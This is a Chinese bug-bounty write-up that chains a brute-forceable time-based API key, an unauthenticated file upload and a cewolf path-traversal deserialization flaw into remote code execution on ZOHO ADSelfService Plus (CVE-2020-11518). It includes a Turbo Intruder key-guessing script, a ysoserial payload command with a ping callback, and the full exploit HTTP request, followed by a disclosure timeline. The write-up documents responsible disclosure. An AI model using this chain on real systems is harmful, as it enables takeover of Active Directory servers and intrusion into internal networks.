挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds

图片[1]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

本文讲述的是作者通过研究,发现美国卓豪(ZOHO)公司的终端用户密码管理软件ZOHO ManageEngine ADSelfService Plus在5815之前的版本处理用户输入不当,可形成远程未授权代码执行漏洞(CVE-2020-11518),导致攻击者可利用该漏洞,通过枚举方式入侵相关的域控活动目录(Active Directory),并可实现进一步的内网渗透。

图片[2]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

发现目标

当我用Aquatone在做前期探测时,发现在两个不同的众测项目中,竟然有两个完全不同的子域名网站都出现了以下相同的ZOHO ManageEngine ADSelfService Plus登录界面:

图片[3]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

ZOHO ManageEngine ADSelfService Plus大多用于组织机构大中型网络中,用于用户更改管理其服务器活动目录(Active Directory)的账户密码。

由于ZOHO ManageEngine ADSelfService Plus与组织机构域控服务器上的活动目录(Active Directory)相关,因此,我觉得它的漏洞发现可能会影响很多公司,值得多下点功夫研究研究。

源码分析

好在ZOHO ManageEngine ADSelfService Plus有30天的试用版可下载使用,因此,我决定把它安装在我本地进行一些测试,特定是从源码层面对它进行一些分析。

ADSelfService Plus是JAVA架构的,所以我用Bytecode Viewer对下载好的应用源码进行编辑测试:

图片[4]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科从中,我对ADSelfService Plus进行了深入细致的分析,涉及功能应用、早先漏洞修复部份和关联代码等部份。之后,我决定构建一个应用端点关键字字典对其进行枚举测试。

漏洞发现

Java反序列化漏洞

在我的枚举测试过程中,我在一个web.xml文件中看到了以下CewolfServlet相关的代码:

<servlet-mapping>
<servlet-name>CewolfServlet</servlet-name>
<url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>

我在谷歌上一查找,发现卓豪(ZOHO)的另一个系列产品中早前就存在cewolf服务端的RCE漏洞,其漏洞点在于img参数可路径遍历,那这里我们也来试试看。

在我本机的ADSelfService Plus系统中,我通过构造了一个evil.file文件,然后通过成功的浏览http://localhost:8888/cewolf/?img=/../../../path/to/evil.file,就证明这里也同样存在该漏洞。

这也就是说,这个未授权的RCE漏洞直接就是可用的了,但利用前提是要在目标ADSelfService Plus系统中去发现一个任意文件上传漏洞才行,只有这样才能上传我们的evil.file执行访问。

任意文件上传漏洞

为了扩大测试面,我继续在我本机对ADSelfService Plus系统进行一些扩展性的功能配置,这里就涉及到了本地的域控制器(Domain Controller)和活动目录(Active Directory)域的配置。

经过几小时的折腾,下载ISO、磁盘空间划分、虚拟机搭建、域控制器临时学习部署,最终成功出现了以下ADSelfService Plus登录界面:

图片[5]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

由于这是一个具备管理权限的测试系统,从中我可以观察到ADSelfService Plus相关的功能应用和API端点请求。之后,我着重研究了其不同的上传功能,最后,我发现了一个支持智能卡证书配置的上传点,它以POST方式对以下路径进行请求:

/LogonCustomization.do?form=smartCard&operation=Add

分析之后,我发现该上传点对上传后的智能卡证书不改名就直接进行存储,因此,结合上一个反序列化路径遍历RCE,我想可以深入从这里入手。

该上传点的机制如下:

图片[6]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

1、登录后的管理员可以通过以下路径上传智能卡证书:

/LogonCustomization.do?form=smartCard&operation=Add

2、接着会触发后台服务端身份验证RestAPI调用,完成对密钥握手交换请求,并在服务端生成一个HANDSHAKE_KEY:

/RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret

3、然后会继续调用以下API对HANDSHAKE_KEY进行校验,并生成成功(SUCCESS)或失败(FAILED)的状态:

/servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret

4、如果校验成功,上传的证书会被存储到以下路径:

C:\ManageEngine\ADSelfService Plus\bin

有意思的是,上述第2步中的/RestAPI是可以公开访问的,因此,任意有效的HANDSHAKE_KEY就能绕过用户身份校验,把想要上传的文件存储到服务端去。而且,第3步涉及到的/servlet/HSKeyAuthenticator同样也是可以公开访问的,未授权用户可以据此判断某个密钥的有效性。

有了这些分析,我再次回到ADSelfService Plus的源码中去。

枚举校验密钥

通过grep命令查找,我发现了两个有趣的Java类文件。通过我本机的PostgreSQL数据库,可以查看到其中包含了一个可以利用的API服务端,以及相关的密钥校验信息:

图片[7]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科一个Java类文件是com.manageengine.ads.fw.servlet中的HSKeyAuthenticator.class:

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      try {
         String message = "FAILED";
         RestAPIKey.getInstance();
         String apiKey = RestAPIKey.getKey();
         String handShakeKey = request.getParameter("HANDSHAKE_KEY");
         if (handShakeKey.equals(apiKey)) {
            message = "SUCCESS";
         }

         PrintWriter out = response.getWriter();
         response.setContentType("text/html");
         out.println(message);
         out.close();
      } catch (Exception var7) {
         HSKeyAuthenticator.out.log(Level.INFO, " ", var7);
      }

   }

另一个Java类文件是com.manageengine.ads.fw.api包中的RestAPIKey.class:

RestAPIKey.class:
  public static void generateKey()
  {
    Long cT = Long.valueOf(System.currentTimeMillis());
    key = cT.toString();
    generatedTime = cT;
  }

  public static String getKey()
  {
    Long cT = Long.valueOf(System.currentTimeMillis());
    if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue()))
    {
      generateKey();
    }
    return key;
  }

从上述代码可以看出,服务端对校验密钥的当前时间是以毫秒计算的,大概有2分钟的一个校验窗口期,也就是说,对攻击者想要枚举的密钥来说,任意时候都有120秒*1000*毫秒=120000种可能。

换句话说,如果我持续在2分钟内,每秒生成至少1000个请求,那么在身份验证密钥过期并重新生成时,就有可能成功命中有效的密钥,

这看似是一项复杂的网络级攻击,但成功的攻击测试没有局限性,即使不能百分百成功,但只要时间足够,就有可能成功。

接着,我准备用Burp的Intruder来生成上述思路中的大量短时请求,寄希望能成功枚举命中有效密钥:

图片[8]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

但是,上述Intruder生成的请求字典结合我的自动脚本,针对在线目标系统跑起来的时候,就没那么想当然的了。几小时的反复运行和各种配置更改后,捣鼓了快一夜也没啥发现,对这种方法,我都怀疑自己了。

而且,由于不确定在线目标系统的运行时区,当时我都有点快放弃了。但是当我再次用各种偏移方式运行GET请求后发现,Java的当前时间计算函数currentTimeMillis返回的是标准的UTC时间,所以时区时间的担心就没必要了。

最终,经过反复试错,我用以下Turbo Intruder脚本,按每秒请求数(rps)计算,取当前时间戳前后rps/2的毫秒数进行校验,这样可以尽量扩大覆盖范围并减少误差:

import time
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                       concurrentConnections=20,
                       requestsPerConnection=200,
                       pipeline=True,
                       timeout=2,
                       engine=Engine.THREADED
                       )
    engine.start()
    rps = 400 # this is about the number of requests per second I could generate from my test server, so not quite the ideal 1000 per second

    while True:
        now = int(round(time.time()*1000))
        for i in range(now+(rps/2), now-(rps/2), -1):
            engine.queue(target.req, str(i))

def handleResponse(req, interesting):
    if 'SUCCESS' in req.response:
        table.add(req)

接着,把HTTP请求头存储为以下base.txt,配合Turbo Intruder发起枚举:

POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1
Host: localhost:8888
Content-Length: 0
Connection: keep-alive

.

接下来需要耐心即可:

图片[9]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科哦哇,愿望成真了,竟然可以成功枚举出有效的验证密钥,即使吞吐量远远低于1000rps,只有可怜的56rps,最终也成功了!

漏洞利用

现在综合起来,最终的漏洞利用代码也就简单了。我用反序列化框架ysoserial生成了很多Payload,发现以下可行的Payload:

java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1.<your-burp-collaborator>"

然后,用Burp Intruder的自动脚本去枚举测试校验密钥,再结合ysoserial生成的上述Payload,去上传一个名为pieter.evil的恶意文件,以此测试上传时的校验接口RestAPI,最终的exploit如下:

POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1
Host: localhost:888
Content-Length: 2464
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Connection: close

------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil"
Content-Type: text/xml

<binary-ysoserial-payload-here>
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_NAME"

blah
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="SMARTCARD_CONFIG"

{"SMARTCARD_PRODUCT_LIST":"4"}
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--

一切就绪,只欠东风。接下来,我针对路径/cewolf/?img=/../../../bin/pieter.evil发起了GET请求,就返回了美妙的成功请求响应消息,RCE成功!
图片[10]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

漏洞后果

通过校验密钥枚举bug,结合Java反序列化路径遍历,最终,我成功在ZOHO ManageEngine ADSelfService Plus相关的活动目录管理服务器中实现了RCE,而且,我认为攻击者可以利用域控制器的链接劫持域名账户或在活动目录域中创建新用户,实现更广泛的内网入侵,如通过公共VPN服务的深入渗透。

我通过测试发现了两家众测项目公司都存在该漏洞,上报漏洞后,一家评估为危急,一家评估为高危。与此同时,我也把该漏洞报送给了漏洞涉及厂商ZOHO公司,被认定为0-day,并被分配了CVE-2020-11518的漏洞编号。

图片[11]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科图片[12]-挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵 – 作者:clouds-安全小百科

漏洞上报和处理进程

2020.3.26  进行本地测试

2020.3.30  向存在漏洞的一家众测项目公司报送漏洞

2020.3.31  向存在漏洞的另一家众测项目公司报送漏洞

2020.4.2    向漏洞涉及厂商ZOHO公司报送漏洞

2020.4.3    ZOHO公布更新版本5815并释出相关补丁

2020.4.3    一家公司把该漏洞评估为危急并给予了我相应奖励

2020.4.12  另一家公司把该漏洞评估为高危并给予了我相应奖励

参考来源:honoki

来源:freebuf.com 2020-08-25 23:01:47 by: clouds

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论